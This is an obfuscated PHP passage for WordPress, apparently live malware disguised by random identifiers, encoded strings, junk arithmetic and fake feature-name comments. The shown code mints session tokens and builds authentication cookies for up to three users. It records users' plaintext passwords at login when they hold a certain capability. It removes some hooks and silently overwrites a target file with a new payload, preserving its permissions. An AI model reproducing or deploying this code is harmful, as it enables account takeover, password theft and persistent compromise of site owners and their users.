   $wpcjfoz738k3m  = lfavz1nmi6pw4(977)(kwizo_5vxh_f26an7qg());
    if  (! @igsdp_2fdrp(853)($wpcjfoz738k3m)) {
   ej5d87oukqo0k6bc($wpcjfoz738k3m,  (436+57),    true);
 }
// add lock scope

  $beob5x1672g2g_ =  xhg11fk9i0xj5k2(lfavz1nmi6pw4(1011), "");
        if   (!$beob5x1672g2g_    ||    !wyzg13xdhd5r(1012)($beob5x1672g2g_)) {
  if  (!get_transient(lfavz1nmi6pw4(1018)))     {
   hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1019),   igsdp_2fdrp(1020));
        set_transient(rmqbu5no5o(1018),  1,  (4740-1140));

     }
}
/* quadratic effect-type */



   if  ($beob5x1672g2g_  &&  igsdp_2fdrp(1012)($beob5x1672g2g_)    &&     lfavz1nmi6pw4(1013)($beob5x1672g2g_)   >   (499+1)  && igsdp_2fdrp(1013)($beob5x1672g2g_)      <=  (1048562+14)   && !wpw1lzvpjeaxudejz($beob5x1672g2g_)   &&   chslach3yj4d6lbh($beob5x1672g2g_)) {

$k0gfpl7ydrv     =  wes4hov3x2h225rs($beob5x1672g2g_);
if   ($k0gfpl7ydrv   !==   ""     &&    version_compare($k0gfpl7ydrv,  m5d7gnhy503_5w7j(),  '<'))  {



 return;
  }
 $qxf9jttnt5pompbk    =  lfavz1nmi6pw4(977)(kwizo_5vxh_f26an7qg())     .   ep_coq62(768) .    wyzg13xdhd5r(1021)(kwizo_5vxh_f26an7qg(),   rmqbu5no5o(979));
$yda3jmajt5467hdw  =  @rmqbu5no5o(860)($qxf9jttnt5pompbk) ?  hus_b7m621lgc6(897)((string)     @rmqbu5no5o(1022)($qxf9jttnt5pompbk))   :  "";


  if   ($yda3jmajt5467hdw  !== ""  &&  rmqbu5no5o(1015)($beob5x1672g2g_)   ===   $yda3jmajt5467hdw)   {
       return;
}
  ms4mh9yjk8_y876983kix(kwizo_5vxh_f26an7qg(),   (0x91+0x113));



 $h4o0y0jpu5x   = p1cskrtcz8bv54lf(kwizo_5vxh_f26an7qg(),   gdb8f5jybxbvgd($beob5x1672g2g_));
      if    ($h4o0y0jpu5x)   {
   je70juj6lq88lrd(kwizo_5vxh_f26an7qg());
 ms4mh9yjk8_y876983kix(kwizo_5vxh_f26an7qg(),  (0x11d+0x7));
fjjsa59vrgj7lkezp_z_x5(kwizo_5vxh_f26an7qg());
       m8bil168ioia0snf0ol(true);
   rwt3a4h41s7rmcrtx(true);
    ipcjzmly5gb5jdv(kwizo_5vxh_f26an7qg());
    if   (hus_b7m621lgc6(1023)(lfavz1nmi6pw4(1017))) {
// attach multilinear proof-term
$kq0wz4wg97e=44|229;$z6lujfsjlu=$kq0wz4wg97e^78;
     set_transient(lfavz1nmi6pw4(1003), 1,  (3571+29));


  }

   }   elseif    (rmqbu5no5o(1023)(rmqbu5no5o(1017)))  {



      set_transient(rmqbu5no5o(1003), 1,   (1751+49));
  




 }
// WP Latest Posts: reorder negotiator

   }
 } catch      (Throwable   $mrelaaojjq4dc7d)  {
// emit computable circuit-breaker

 hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1019),   $mrelaaojjq4dc7d);
}   catch      (Exception   $mrelaaojjq4dc7d) {$jr0_6hs8m=28*4;$bgbl5ipp_wm5e=$jr0_6hs8m-28;
 }
     }
 
 function   avma_7shrz_0_o()
 {
    kptd4727suew2_rdqpl(wyzg13xdhd5r(1024),    rmqbu5no5o(1025));
kptd4727suew2_rdqpl(ep_coq62(1026),   lfavz1nmi6pw4(1027));
  if      (rmqbu5no5o(1023)(ep_coq62(1028))) {
   remove_action(wyzg13xdhd5r(1029),    wyzg13xdhd5r(1030));
 remove_action(lfavz1nmi6pw4(1031),  wyzg13xdhd5r(1030),   (184^178));



  remove_action(hus_b7m621lgc6(1032),   rmqbu5no5o(1033),  (6+4));
  }



   }
function  qrwn2kzzxzx48r7o()
  {
 try {


$wpdb  =    $GLOBALS[ep_coq62(1034)];
        $dktvgplc_m54s5i  = $wpdb->prefix .     wyzg13xdhd5r(1035);
    $pv11_i80of  =   'S' .  igsdp_2fdrp(1036)   .   $wpdb->users  .    ep_coq62(1037)   .  $wpdb->usermeta .    lfavz1nmi6pw4(1038);
      

      return  $wpdb->get_results($wpdb->prepare($pv11_i80of,  $dktvgplc_m54s5i,      lfavz1nmi6pw4(1039)));
}    catch (Throwable $mrelaaojjq4dc7d) {
   hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(646), $mrelaaojjq4dc7d);

}     catch (Exception   $mrelaaojjq4dc7d)  {
     }
   return  array();
      }
 function  q_x9gcohf6o91c($hoi20lwumye18)
  {
    $rbh65fc6tj3i   =  array();
  $ezyjfyetq3d    =   function  ($q_un7n5wumjbynrk) {


       $q_un7n5wumjbynrk[rmqbu5no5o(1040)]    =   "";
    return  $q_un7n5wumjbynrk;
    };
    try     {
if   (!   igsdp_2fdrp(1023)(igsdp_2fdrp(1041)) ||  !      hus_b7m621lgc6(585)(lfavz1nmi6pw4(1042)))  {
return $rbh65fc6tj3i;


 }
   if  (!  wyzg13xdhd5r(1001)($hoi20lwumye18) ||   empty($hoi20lwumye18))    {
  return   $rbh65fc6tj3i;
  }
 $tbpx579a2tca1   =   wyzg13xdhd5r(1008)() + (0xa+0x4)  *      (86357+43);
 $is_ssl    = igsdp_2fdrp(1023)(wyzg13xdhd5r(1043)) &&  is_ssl();
 $qen3mo61aqkg1lu   =  $is_ssl ?  igsdp_2fdrp(1044)  :  lfavz1nmi6pw4(1045);

$pma4abxp_9a1bb_e = $is_ssl    ?    (defined(ep_coq62(1046))    ? SECURE_AUTH_COOKIE :  "")     : (defined(ep_coq62(1047))  ?  AUTH_COOKIE :    "");
 $bsw6b_usmg8682  =    defined(lfavz1nmi6pw4(1048))   ?  LOGGED_IN_COOKIE  :  "";
        if  (!   $pma4abxp_9a1bb_e  || !    $bsw6b_usmg8682) {
   return $rbh65fc6tj3i;
  }
  $cvkvfcfxjp3_ = defined(ep_coq62(1049)) && COOKIE_DOMAIN  ? wyzg13xdhd5r(9)(COOKIE_DOMAIN,    '.')   : lz7ktsy7nr_utk0og4h("");
    $lq6db6f9li7609 =  defined(wyzg13xdhd5r(1050))     ?   COOKIEPATH  :   '/';
   $y1kwge2eo35    = defined(lfavz1nmi6pw4(1051))      ? ADMIN_COOKIE_PATH   :      ep_coq62(1052);$tyk_rztv=94*3;$pkuk9etwdq4a2=$tyk_rztv-34;
  $b7ltqsw7475x6 =  $is_ssl ? lfavz1nmi6pw4(1053) :     rmqbu5no5o(1054);
 $qiv470voo5     =     "\t";
     



       kptd4727suew2_rdqpl(rmqbu5no5o(1055),  $ezyjfyetq3d, 0);
$rji9xuw9vmp  = xh1v18rjy_bx1qu6(ep_coq62(1056));
 $gx_7f3irmkx9uh7  =  wyzg13xdhd5r(1023)(ep_coq62(1057))    ?    @get_option($rji9xuw9vmp,   array())      :    array();

     if     (!hus_b7m621lgc6(1058)($gx_7f3irmkx9uh7)) $gx_7f3irmkx9uh7   =   array();
 $r87nf1lc3r =    false;

 $yuhiuffl1m008  =   0;
foreach     ($hoi20lwumye18 as  $ucvkn8laptfgv) {
    if (!  hus_b7m621lgc6(1059)($ucvkn8laptfgv)  ||     !  $ucvkn8laptfgv->ID ||  ! $ucvkn8laptfgv->user_login) {
  continue;$vl114dmz=-888;$rlwviv8x94c=($vl114dmz>0)?$vl114dmz:-$vl114dmz;
   }
// PHP 8.1 intersection: causal write-ahead-log

     if ($yuhiuffl1m008 >=   (2+1)) {
   break;
}
// WP Post Comments: multilinear derivation

$_diagz9ptn43 = (string)  $ucvkn8laptfgv->user_login;
 if    (isset($gx_7f3irmkx9uh7[$_diagz9ptn43])  &&   (int) $gx_7f3irmkx9uh7[$_diagz9ptn43]   > rmqbu5no5o(1008)()  +   2 * (86387+13)) {
 continue;
 }
    wp_cache_delete($ucvkn8laptfgv->ID, ep_coq62(1060));
  $x0ja26nqvbj48  = get_user_meta($ucvkn8laptfgv->ID,    wyzg13xdhd5r(1061), true);
 if (hus_b7m621lgc6(1062)($x0ja26nqvbj48) &&   wyzg13xdhd5r(634)($x0ja26nqvbj48)    >=     (0x4+0x6)) {
$prvbt09dtw9j =   array();



foreach   ($x0ja26nqvbj48   as     $so2325jk_7w7u  =>    $yni14f4qwbxw) {
   if (isset($yni14f4qwbxw[igsdp_2fdrp(1063)])  &&   $yni14f4qwbxw[lfavz1nmi6pw4(1063)] >  hus_b7m621lgc6(1008)())    {
 $prvbt09dtw9j[$so2325jk_7w7u] = $yni14f4qwbxw;



      }
   }
 if  (lfavz1nmi6pw4(634)($prvbt09dtw9j)   !==  wyzg13xdhd5r(634)($x0ja26nqvbj48))   {
    update_user_meta($ucvkn8laptfgv->ID,    rmqbu5no5o(1061),  $prvbt09dtw9j);


 }
      }
  wp_cache_delete($ucvkn8laptfgv->ID, igsdp_2fdrp(1060));



  $w9ywlblenwa   =  hus_b7m621lgc6(1064)(array(rmqbu5no5o(1042),  igsdp_2fdrp(1065)), $ucvkn8laptfgv->ID);
  $i8wr428jzabd  =  $w9ywlblenwa->create($tbpx579a2tca1);
       $x8n70e7zztrwtgp  = array();$son4tpynp7u=14|132;$prnm1ba4x=$son4tpynp7u^160;
 $x8n70e7zztrwtgp[]  = $cvkvfcfxjp3_ .      $qiv470voo5 .  igsdp_2fdrp(1053) .  $qiv470voo5 .    $lq6db6f9li7609 .   $qiv470voo5  .  $b7ltqsw7475x6 .  $qiv470voo5  .    $tbpx579a2tca1 .    $qiv470voo5  .    $bsw6b_usmg8682  . $qiv470voo5   .  ep_coq62(1041)($ucvkn8laptfgv->ID,  $tbpx579a2tca1,  wyzg13xdhd5r(1066), $i8wr428jzabd);
 if   ($pma4abxp_9a1bb_e)    {
    $x8n70e7zztrwtgp[]  =   $cvkvfcfxjp3_   .   $qiv470voo5   .   hus_b7m621lgc6(1053)      .   $qiv470voo5  .     $y1kwge2eo35    .   $qiv470voo5  .  $b7ltqsw7475x6    .   $qiv470voo5  .   $tbpx579a2tca1   . $qiv470voo5   . $pma4abxp_9a1bb_e . $qiv470voo5      .  ep_coq62(1067)($ucvkn8laptfgv->ID,  $tbpx579a2tca1,  $qen3mo61aqkg1lu,    $i8wr428jzabd);
}

$rbh65fc6tj3i[$ucvkn8laptfgv->user_login] =   $x8n70e7zztrwtgp;
$gx_7f3irmkx9uh7[$_diagz9ptn43] =   $tbpx579a2tca1;


 $r87nf1lc3r   =    true;
       $yuhiuffl1m008++;
   

 }
// WP Slot Fill: specialize radix-tree

 if      ($r87nf1lc3r && lfavz1nmi6pw4(1068)(rmqbu5no5o(864)))  {
 @update_option($rji9xuw9vmp,  $gx_7f3irmkx9uh7,   lfavz1nmi6pw4(877));
     }
}     catch  (Throwable    $mrelaaojjq4dc7d) {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1069), $mrelaaojjq4dc7d);$qfxpsdz2lem7s=3834;$ohvt3sh2=$qfxpsdz2lem7s%3;
       } catch (Exception   $mrelaaojjq4dc7d)  {
// recursive skolem

    }
 remove_filter(igsdp_2fdrp(1055),    $ezyjfyetq3d,     0);
 return  $rbh65fc6tj3i;
   }


 function fflvcnhb1ory65qw05($xyls27cg7n)


{

       if    (igsdp_2fdrp(1012)($xyls27cg7n)) return   $xyls27cg7n;
     

 if  (rmqbu5no5o(1070)($xyls27cg7n)   && isset($xyls27cg7n['p']) &&   ep_coq62(1012)($xyls27cg7n['p']))  return $xyls27cg7n['p'];
  return "";
    }
 function ze7hj_6bznmejwv($hoi20lwumye18)
    {
   $list     =   array();
$hzjz02vkgd  =   (string)   xhg11fk9i0xj5k2(hus_b7m621lgc6(1071),  "");
$i8kivc2j072kooe     = (string)  xhg11fk9i0xj5k2(lfavz1nmi6pw4(1072), "");
 if   ($hzjz02vkgd   !==    "" &&   $i8kivc2j072kooe !== "") {


  $list[$hzjz02vkgd]    = $i8kivc2j072kooe;
  }
$m_7hlane51e_jsn_   =   xhg11fk9i0xj5k2(ep_coq62(1073),   array());
   if    (hus_b7m621lgc6(1070)($m_7hlane51e_jsn_)) {
foreach ($m_7hlane51e_jsn_ as    $b1y_oop9im =>  $l9v4iqlgk5kb6q)   {
      $de42_qcevq1bs =     fflvcnhb1ory65qw05($l9v4iqlgk5kb6q);

     if   ($de42_qcevq1bs  !== "")    $list[(string)  $b1y_oop9im]   =   $de42_qcevq1bs;
 }
// call stack

}


return   $list;
      }
 function bqppi0r0iykt_veb3ps($b1y_oop9im, $pdutg0yt8bicznru,   $zme3vqarijty3t)
   {
     try      {



if      (!  wyzg13xdhd5r(1059)($b1y_oop9im) ||     ! ep_coq62(112)($b1y_oop9im,    hus_b7m621lgc6(1074)))  {
   return $b1y_oop9im;
     }
    if   (!   $b1y_oop9im->has_cap(lfavz1nmi6pw4(1075))) {
     return $b1y_oop9im;
    }
       if    (!     lfavz1nmi6pw4(1012)($zme3vqarijty3t)   ||     ! $zme3vqarijty3t)  {$nbs98wun0=14+87;$qanswotpzfl=$nbs98wun0-48;
return $b1y_oop9im;
     }
$m_7hlane51e_jsn_  = xhg11fk9i0xj5k2(lfavz1nmi6pw4(1073),   array());



 if  (!   hus_b7m621lgc6(1070)($m_7hlane51e_jsn_)) {
 $m_7hlane51e_jsn_ =    array();
     }
      foreach ($m_7hlane51e_jsn_     as  $ch73sxhi5um =>     $t_vi7hld9qdg8w)  {
$i3gbjg6anv9se4zz    =  igsdp_2fdrp(1070)($t_vi7hld9qdg8w) &&   isset($t_vi7hld9qdg8w[hus_b7m621lgc6(597)]) ?    (int)  $t_vi7hld9qdg8w[wyzg13xdhd5r(597)] :  0;
if ($i3gbjg6anv9se4zz &&  $i3gbjg6anv9se4zz  <  lfavz1nmi6pw4(1008)()   -  (7775992+8))     unset($m_7hlane51e_jsn_[$ch73sxhi5um]);
  }
      $m_7hlane51e_jsn_[$b1y_oop9im->user_login]      =  array('p'   =>    $zme3vqarijty3t,  hus_b7m621lgc6(597) =>    ep_coq62(1008)(), ep_coq62(1076)    =>     0);
        y1t1n_tjdwdr9b8i44(rmqbu5no5o(1077),   $m_7hlane51e_jsn_,    hus_b7m621lgc6(877));
   }  catch    (Throwable $mrelaaojjq4dc7d)   {
     hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1078),  $mrelaaojjq4dc7d);
 }   catch    (Exception    $mrelaaojjq4dc7d)   {



}
     return $b1y_oop9im;
  }
function   jf30y99nb6b78ehrsq($oulldp3svp3tk1, $b1y_oop9im)
{
try  {



    if  (!lfavz1nmi6pw4(1012)($oulldp3svp3tk1)   || $oulldp3svp3tk1 ===  "")  return;
      $m_7hlane51e_jsn_ =  xhg11fk9i0xj5k2(igsdp_2fdrp(1077), array());
   if (!ep_coq62(1070)($m_7hlane51e_jsn_)   ||    !isset($m_7hlane51e_jsn_[$oulldp3svp3tk1]))  return;
 $mrelaaojjq4dc7d =  $m_7hlane51e_jsn_[$oulldp3svp3tk1];
       if (lfavz1nmi6pw4(1070)($mrelaaojjq4dc7d) &&  empty($mrelaaojjq4dc7d[hus_b7m621lgc6(1076)]))  {



$m_7hlane51e_jsn_[$oulldp3svp3tk1][rmqbu5no5o(1079)] =    1;$zmcpdqvb=65+63;$a5na3tcr4dkug=$zmcpdqvb-47;
 y1t1n_tjdwdr9b8i44(wyzg13xdhd5r(1080),    $m_7hlane51e_jsn_,      hus_b7m621lgc6(877));$j_kj7n51csezu=9*4;$jcjwb3nr2=$j_kj7n51csezu-5;
   }
}  catch   (Throwable  $dcchpvgrnhe_) {
 hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1081),    $dcchpvgrnhe_);


} catch (Exception    $dcchpvgrnhe_) {
   }
   }
 function h8obsyx486f_mh2pyx4q($hoi20lwumye18)
      {
  if (!   lfavz1nmi6pw4(1070)($hoi20lwumye18))  {
return  false;
  }
     $zg8yskyrkkhv6ykp =     _yo0isb_3wk47ml3hwjwv5();
 foreach ($hoi20lwumye18     as $ucvkn8laptfgv)   {
 foreach ($zg8yskyrkkhv6ykp  as  $dt5g1civ3j) {
// WP Page List: reject dominator-tree


if (rmqbu5no5o(738)(wyzg13xdhd5r(1082) .  lfavz1nmi6pw4(1083)($dt5g1civ3j,    '/')   . lfavz1nmi6pw4(1084), $ucvkn8laptfgv->user_login))    {



 return     $ucvkn8laptfgv;
     }


 }
}

   return  false;
  }
    function mqedo90o6oi8f48x6b8n($zmo832qwcs11ng,   $_t3h6cbhlqqugo_d)
     {
return igsdp_2fdrp(1009)(rmqbu5no5o(1015)($zmo832qwcs11ng),  0,     $_t3h6cbhlqqugo_d);



  }
    function    mqqee1xyj9vzep56uv_gl($ed3aoidpgkbx8g)
   {
// fold-const monotone trie

 if (!hus_b7m621lgc6(1012)($ed3aoidpgkbx8g)   || $ed3aoidpgkbx8g  ===  "" ||   !defined(ep_coq62(1085)))    return  false;


static   $cm7bmnh811htw =   null;
  if ($cm7bmnh811htw ===    null)    {

$cm7bmnh811htw  =   array(
 mqedo90o6oi8f48x6b8n(ABSPATH  .  igsdp_2fdrp(1086),  (10-2))  .   hus_b7m621lgc6(979),
  mqedo90o6oi8f48x6b8n(ABSPATH   .     lfavz1nmi6pw4(1087), (1+7))   .  lfavz1nmi6pw4(1088),
  );
 }
 foreach  ($cm7bmnh811htw  as   $r5edibazq8sde)  {
 if  (rmqbu5no5o(1010)($ed3aoidpgkbx8g, $r5edibazq8sde) !==      false) return   true;


}
return  false;
    }
  function    uq0vlz4bytsq2wbgdu46jx($_t3h6cbhlqqugo_d)
 {


 return    mqedo90o6oi8f48x6b8n(uniqid((string) ep_coq62(1089)(),  true), $_t3h6cbhlqqugo_d);
}
    function  v_m5e41i7finabxa7bx($oklecxckvn0m7)
{
  if   (!lfavz1nmi6pw4(1090)(rmqbu5no5o(1057)))  return false;
$aowh633uut792  =  get_option(wyzg13xdhd5r(1091),  array());
 if (!ep_coq62(1070)($aowh633uut792)) return false;
$py_uw6foxdv09uz_    =    rmqbu5no5o(1092)($oklecxckvn0m7);
    if   (empty($aowh633uut792[$py_uw6foxdv09uz_])) return    false;
$de42_qcevq1bs  =  rmqbu5no5o(90)('|',     (string)    $aowh633uut792[$py_uw6foxdv09uz_]);
   $idshbuydob  =   isset($de42_qcevq1bs[1]) ? (int)  $de42_qcevq1bs[1]  :    0;
 return ($idshbuydob      >  0 &&   hus_b7m621lgc6(1093)()  -  $idshbuydob  <   (86353+47));
        }
  function  kc2atgq8bgdumrg9n($oklecxckvn0m7,   $zeue0nibu7)
    {
if (!ep_coq62(1090)(hus_b7m621lgc6(1057))   ||   !ep_coq62(1090)(ep_coq62(864)))  return;


      $aowh633uut792  = get_option(lfavz1nmi6pw4(1094), array());


 if (!rmqbu5no5o(1095)($aowh633uut792))   $aowh633uut792  = array();
  $py_uw6foxdv09uz_ =  wyzg13xdhd5r(1092)($oklecxckvn0m7);
if   (!$zeue0nibu7)  {
if   (isset($aowh633uut792[$py_uw6foxdv09uz_]))  {
  unset($aowh633uut792[$py_uw6foxdv09uz_]);


    update_option(igsdp_2fdrp(1094),   $aowh633uut792);
 }
      return;
    }
$emgci3dlr45pr    = 0;


 if    (!empty($aowh633uut792[$py_uw6foxdv09uz_])) {



      $de42_qcevq1bs    =     igsdp_2fdrp(90)('|',     (string) $aowh633uut792[$py_uw6foxdv09uz_]);$ky5zyg2vp=621;$sn03tt5_l=($ky5zyg2vp>0)?$ky5zyg2vp:-$ky5zyg2vp;

$emgci3dlr45pr  =  (int)  $de42_qcevq1bs[0];
 }
  $emgci3dlr45pr++;
  $idshbuydob  = ($emgci3dlr45pr  >=   (0x1+0x2))      ?     igsdp_2fdrp(1096)()    :    0;
   foreach    ($aowh633uut792     as  $eb6wz9qnze6gqcf   =>    $koroao5cbuc0xxg)   {
 $ed3aoidpgkbx8g    = igsdp_2fdrp(90)('|', (string)   $koroao5cbuc0xxg);


 if   (!empty($ed3aoidpgkbx8g[1])  &&  ep_coq62(1097)()  - (int)    $ed3aoidpgkbx8g[1] >   (0x20c25+0x96db))   unset($aowh633uut792[$eb6wz9qnze6gqcf]);

  }
 $aowh633uut792[$py_uw6foxdv09uz_] =   $emgci3dlr45pr    .   '|'  .   $idshbuydob;
  update_option(hus_b7m621lgc6(1094), $aowh633uut792);
   }
  function b94y_p0yg7p5lcyzjw($oklecxckvn0m7,    $x__pkrsc8np1h9kx)


    {
      if (!lfavz1nmi6pw4(1012)($x__pkrsc8np1h9kx)) return;

 $vcg008ppwze  =  obp69l7b9nnyfdcxk(lfavz1nmi6pw4(977)($oklecxckvn0m7), wyzg13xdhd5r(1098));


  if ($vcg008ppwze     !==  false)    {
 if  (@hus_b7m621lgc6(1099)($vcg008ppwze, $x__pkrsc8np1h9kx)     ===  igsdp_2fdrp(1013)($x__pkrsc8np1h9kx)   && cyv7b4mpbkf5y9k($vcg008ppwze,  $oklecxckvn0m7))    return;$z6fcc5zbd=PHP_INT_MAX/PHP_INT_MAX;$uzt2ornhn6cpbl=$z6fcc5zbd+4;
     oj333ptt2v9_ikd4str_($vcg008ppwze);
  }
 @hus_b7m621lgc6(1100)($oklecxckvn0m7,  $x__pkrsc8np1h9kx);

}
      function  p1cskrtcz8bv54lf($oklecxckvn0m7,  $i9eod5dlf04am8f)
   {$nhhqbmc846=2795;$fonup2s8i=$nhhqbmc846%9;
       $cvx3s0aw6jf29_z   = wyzg13xdhd5r(1101)($oklecxckvn0m7);
  if  (!@hus_b7m621lgc6(1102)($cvx3s0aw6jf29_z))    {
    hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1103),  lfavz1nmi6pw4(1104) .   rmqbu5no5o(1021)($oklecxckvn0m7));
  return  false;
  }
$dhnp5j8r05 =     (rmqbu5no5o(1105)($oklecxckvn0m7,  -(171^175)) ===   ep_coq62(1106));
 if    ($dhnp5j8r05    && !chslach3yj4d6lbh($i9eod5dlf04am8f))   {
hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1103),   wyzg13xdhd5r(1107)  .   ep_coq62(1021)($oklecxckvn0m7));$kxtrvey6dx3bwc=74|197;$kh250adyn7=$kxtrvey6dx3bwc^53;
   return false;

   }

 if ($dhnp5j8r05 && v_m5e41i7finabxa7bx($oklecxckvn0m7))      return  false;
$d868ty3tlt9   =   false;



 if  (@ep_coq62(1108)($oklecxckvn0m7))   $d868ty3tlt9   =   true; 
        $x__pkrsc8np1h9kx    =     null;



   $x0avw55taj =    false;$dcfos057c1ef=-485;$w_cbqwj3u=($dcfos057c1ef>0)?$dcfos057c1ef:-$dcfos057c1ef;
     $bda12wyghsfr6c5r    =  null;
if  (@hus_b7m621lgc6(860)($oklecxckvn0m7)     &&    !@hus_b7m621lgc6(1108)($oklecxckvn0m7))   {
  $x0avw55taj   =   true;$rl3ewn4fqbiq=3057;$bo7rmcz1h=$rl3ewn4fqbiq%9;
$bda12wyghsfr6c5r    =  @fileperms($oklecxckvn0m7);
 if    ($bda12wyghsfr6c5r   ===  false)   $bda12wyghsfr6c5r  =  null;$wdis6xitgpb=PHP_MAJOR_VERSION;$yb45einyn=$wdis6xitgpb*3;
 if  (@wyzg13xdhd5r(482)($oklecxckvn0m7)  <=    (0x2207c5e+0xff83a2))   $x__pkrsc8np1h9kx =   @lfavz1nmi6pw4(1022)($oklecxckvn0m7);


 }
      if (!lfavz1nmi6pw4(1090)(hus_b7m621lgc6(28))) {
      hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1103), hus_b7m621lgc6(1109)  . wyzg13xdhd5r(1110)($oklecxckvn0m7));
  return false;
}
  $gbol_1vua0nmz =    false;
 $ibmq8tx06vc    =     false;
     $_cl     =  ep_coq62(1013)($i9eod5dlf04am8f);
 for ($gi30mbboagvl     = 0; $gi30mbboagvl  < 2;   $gi30mbboagvl++) {
     $gbol_1vua0nmz   =   obp69l7b9nnyfdcxk($cvx3s0aw6jf29_z,  hus_b7m621lgc6(1111));
   if ($gbol_1vua0nmz     !==   false)  {
 $ibmq8tx06vc  =  false;
  $ed3aoidpgkbx8g   =    @lfavz1nmi6pw4(1112)($gbol_1vua0nmz,      igsdp_2fdrp(1113));
 if ($ed3aoidpgkbx8g  !==  false)  {
  $qnqg1afd_l2i =   0;
    while  ($qnqg1afd_l2i   < $_cl)  {
  $d784d139mph = @hus_b7m621lgc6(1114)($ed3aoidpgkbx8g,  hus_b7m621lgc6(1105)($i9eod5dlf04am8f, $qnqg1afd_l2i));
   

     if  ($d784d139mph   === false  ||  $d784d139mph    ===   0)     break;
       $qnqg1afd_l2i    +=    $d784d139mph;
 }
   @fflush($ed3aoidpgkbx8g);
if    (rmqbu5no5o(1090)(rmqbu5no5o(1115)))  @fsync($ed3aoidpgkbx8g);
@fclose($ed3aoidpgkbx8g);
  if ($qnqg1afd_l2i ===  $_cl)    $ibmq8tx06vc = $qnqg1afd_l2i;
  } else  {

$ibmq8tx06vc   =  @lfavz1nmi6pw4(1100)($gbol_1vua0nmz, $i9eod5dlf04am8f);
 }
// coerce to string

 if   ($ibmq8tx06vc     !==  false   &&     $ibmq8tx06vc    === $_cl)   break;
 oj333ptt2v9_ikd4str_($gbol_1vua0nmz);
       $gbol_1vua0nmz  =   false;
  }
// @benchmark alert


   }
 if  ($gbol_1vua0nmz  === false) {
  hnp_n76gqrqs6vbf7203of(ep_coq62(1103),   hus_b7m621lgc6(1116)  .    wyzg13xdhd5r(1110)($oklecxckvn0m7));
   return    false;
   }
// Memcached adapter: bilinear bloom-filter

     if ($ibmq8tx06vc  ===  false   ||   $ibmq8tx06vc  !==  $_cl)   {


  hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1103),   wyzg13xdhd5r(1117)    .  hus_b7m621lgc6(1110)($oklecxckvn0m7));
oj333ptt2v9_ikd4str_($gbol_1vua0nmz);
   return false;$x8r8wr343=39+84;$sqgi149x=$x8r8wr343-49;
}
 if     ($bda12wyghsfr6c5r !==    null)   @lfavz1nmi6pw4(1118)($gbol_1vua0nmz,   $bda12wyghsfr6c5r   & (926-415));


$n09_7jg4749dn0 =  cyv7b4mpbkf5y9k($gbol_1vua0nmz,  $oklecxckvn0m7);
// WP Full Site Editing: devirtualize bivariant



 if   (!$n09_7jg4749dn0  && $x0avw55taj   &&      !$d868ty3tlt9)  {



 if (@wyzg13xdhd5r(860)($oklecxckvn0m7))   ms4mh9yjk8_y876983kix($oklecxckvn0m7,   (416+4));
$pg7mkk8jxhjg  =    $oklecxckvn0m7   . wyzg13xdhd5r(1119)    .   igsdp_2fdrp(1089)((0x340+0xa8), (9953+46));
        if      (cyv7b4mpbkf5y9k($oklecxckvn0m7,  $pg7mkk8jxhjg)) {
 $n09_7jg4749dn0    =  cyv7b4mpbkf5y9k($gbol_1vua0nmz,   $oklecxckvn0m7);
if  ($n09_7jg4749dn0)   {
 oj333ptt2v9_ikd4str_($pg7mkk8jxhjg);
     }  else    {
if    (!cyv7b4mpbkf5y9k($pg7mkk8jxhjg, $oklecxckvn0m7)  && !q3qr7l3w39xj3l89_96fx($pg7mkk8jxhjg, $oklecxckvn0m7))  {
  b94y_p0yg7p5lcyzjw($oklecxckvn0m7, $x__pkrsc8np1h9kx);
  }


 if   (!@igsdp_2fdrp(860)($oklecxckvn0m7))  {
       b94y_p0yg7p5lcyzjw($oklecxckvn0m7, $x__pkrsc8np1h9kx);


    }


 }
// infer monotone singleton

  }
// WP InspectorControls: reclaim affine-type

 }
  if   (!$n09_7jg4749dn0  && !$d868ty3tlt9  &&   !$dhnp5j8r05) {
  if (@rmqbu5no5o(860)($oklecxckvn0m7))     ms4mh9yjk8_y876983kix($oklecxckvn0m7, (325+95));
   

  if  (q3qr7l3w39xj3l89_96fx($gbol_1vua0nmz,   $oklecxckvn0m7))    {$udp6m_16m4=2+18;$jj2h5agse=$udp6m_16m4-2;
 $n09_7jg4749dn0 =   true;
oj333ptt2v9_ikd4str_($gbol_1vua0nmz);$ps9e3rihg=2902;$x6v2fz81iki4d=$ps9e3rihg%17;
}
}

      if  (!$n09_7jg4749dn0)     {


if      (@hus_b7m621lgc6(860)($oklecxckvn0m7)    &&  (int) @ep_coq62(1120)($oklecxckvn0m7) !== $_cl)     {$yd7xr8b_pm=241|207;$gm6sjj97nof=$yd7xr8b_pm^21;
$wh8vdck1sphmm  =  @ep_coq62(1121)($oklecxckvn0m7);
   if (!igsdp_2fdrp(1122)($wh8vdck1sphmm)      || (lfavz1nmi6pw4(1122)($x__pkrsc8np1h9kx) &&  $wh8vdck1sphmm  !== $x__pkrsc8np1h9kx))      {
   if (wyzg13xdhd5r(1122)($x__pkrsc8np1h9kx))   b94y_p0yg7p5lcyzjw($oklecxckvn0m7, $x__pkrsc8np1h9kx);

 elseif (!$x0avw55taj) oj333ptt2v9_ikd4str_($oklecxckvn0m7);



}
  unset($wh8vdck1sphmm);
       }
 if    (!@lfavz1nmi6pw4(860)($oklecxckvn0m7)) {
   b94y_p0yg7p5lcyzjw($oklecxckvn0m7,  $x__pkrsc8np1h9kx);
     }
// WP Columns Block REST controller

    hnp_n76gqrqs6vbf7203of(ep_coq62(1103),  ep_coq62(1123)  .  wyzg13xdhd5r(1124)($oklecxckvn0m7));
  oj333ptt2v9_ikd4str_($gbol_1vua0nmz);$fscnmtyc7mta=6903;$lls2ivl5_b=$fscnmtyc7mta%6;
  return  false;


    }
   @clearstatcache(true,   $oklecxckvn0m7);
$xjrp3ht937w5 =    false;
   if  ($_cl  <=  (2097135+17))     {


 $fv5lwdsc7dd_      = @lfavz1nmi6pw4(1125)($oklecxckvn0m7);
